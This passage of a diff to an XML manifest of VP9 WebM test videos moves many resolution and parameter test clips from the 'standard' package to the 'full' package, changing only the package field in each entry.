-    <value>mime=video/x-vnd.on2.vp9,size=48590,width=480,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=48590,width=480,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_480x848p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=68057,width=480,height=848,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=68057,width=480,height=848,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_48x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=23656,width=48,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=23656,width=48,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_5120x7680p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2849437,width=5120,height=7680,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_512x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19992,width=512,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19992,width=512,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_512x384p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=27498,width=512,height=384,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=27498,width=512,height=384,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_512x512p50f32_500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40665,width=512,height=512,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40665,width=512,height=512,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_528x704p50f32_700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=56487,width=528,height=704,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=56487,width=528,height=704,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_5760x7680p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2855338,width=5760,height=7680,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_576x1024p50f32_1100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=90455,width=576,height=1024,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=90455,width=576,height=1024,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_576x704p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64401,width=576,height=704,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64401,width=576,height=704,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_576x720p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64414,width=576,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64414,width=576,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_600x800p50f32_900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=75737,width=600,height=800,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=75737,width=600,height=800,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_6144x8192p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2885641,width=6144,height=8192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_636x358p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=76356,width=636,height=358,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=76356,width=636,height=358,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_636x360p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=75931,width=636,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=75931,width=636,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_638x356p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=76545,width=638,height=356,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=76545,width=638,height=356,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_638x360p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=75850,width=638,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=75850,width=638,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_640x356p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=76691,width=640,height=356,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=76691,width=640,height=356,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_640x358p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=33862,width=640,height=358,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=33862,width=640,height=358,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_640x360p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=33642,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=33642,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_640x480p50f32_600kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=48218,width=640,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=48218,width=640,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_640x640p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64613,width=640,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64613,width=640,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_640x848p50f32_1000kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83398,width=640,height=848,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83398,width=640,height=848,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_640x960p50f32_1200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=98769,width=640,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=98769,width=640,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_64x1080p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18821,width=64,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18821,width=64,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_64x1280p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19657,width=64,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19657,width=64,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_64x1920p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16457,width=64,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16457,width=64,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_64x48p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=23069,width=64,height=48,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=23069,width=64,height=48,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_64x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=25077,width=64,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=25077,width=64,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_64x720p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17821,width=64,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17821,width=64,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_64x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=27068,width=64,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=27068,width=64,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_704x528p50f32_700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=56485,width=704,height=528,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=56485,width=704,height=528,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_704x576p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64252,width=704,height=576,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64252,width=704,height=576,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_704x704p50f32_900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=72879,width=704,height=704,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=72879,width=704,height=704,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_720x1280p50f32_1800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160849,width=720,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160849,width=720,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_720x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21410,width=720,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21410,width=720,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_720x480p50f32_600kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=49026,width=720,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=49026,width=720,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_720x576p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64557,width=720,height=576,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64557,width=720,height=576,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_720x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20967,width=720,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20967,width=720,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_720x720p50f32_1000kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=80435,width=720,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=80435,width=720,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_720x960p50f32_1300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=107301,width=720,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=107301,width=720,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_72x128p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=23480,width=72,height=128,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=23480,width=72,height=128,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_72x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=26013,width=72,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=26013,width=72,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_7680x4320p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2481208,width=7680,height=4320,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -38688,13 +38688,13 @@
     <value>mime=video/x-vnd.on2.vp9,size=2864756,width=7680,height=7680,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_768x1024p50f32_1500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=124045,width=768,height=1024,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=124045,width=768,height=1024,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_800x600p50f32_900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=72042,width=800,height=600,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=72042,width=800,height=600,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_800x800p50f32_1200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=101759,width=800,height=800,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=101759,width=800,height=800,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_8192x6144p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2901404,width=8192,height=6144,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -38703,49 +38703,49 @@
     <value>mime=video/x-vnd.on2.vp9,size=2877645,width=8192,height=8192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_848x480p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64630,width=848,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64630,width=848,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_848x640p50f32_1000kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=79747,width=848,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=79747,width=848,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_848x848p50f32_1400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=120915,width=848,height=848,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=120915,width=848,height=848,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_8x8p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=4203,width=8,height=8,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=4203,width=8,height=8,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_960x1280p50f32_2400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=218386,width=960,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=218386,width=960,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_960x1440p50f32_2700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=243879,width=960,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=243879,width=960,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_960x640p50f32_1200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=96393,width=960,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=96393,width=960,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_960x720p50f32_1300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=104221,width=960,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=104221,width=960,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_960x960p50f32_1800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=152877,width=960,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=152877,width=960,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_96x128p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=22620,width=96,height=128,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=22620,width=96,height=128,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_96x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=22528,width=96,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=22528,width=96,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_96x176p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21436,width=96,height=176,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21436,width=96,height=176,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_96x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=26460,width=96,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=26460,width=96,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_96x72p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=22820,width=96,height=72,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=22820,width=96,height=72,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_96x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=26933,width=96,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=26933,width=96,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/bitrate/crowd_1280x720p24f300_3000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=5290145,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -38838,103 +38838,103 @@
     <value>mime=video/x-vnd.on2.vp9,size=1866198,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160658,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160658,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160602,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160602,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160622,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160622,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160602,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160602,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_2x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160678,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160678,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160602,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160602,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_4x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_adaptQCom_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=159422,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=159422,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_adaptQVar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=159609,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=159609,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_0f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160576,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160576,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_0f_5s_1t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160579,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160579,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_0f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160107,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160107,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_15f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160132,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160132,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_15f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160265,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160265,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_5f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160615,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160615,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_5f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160579,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
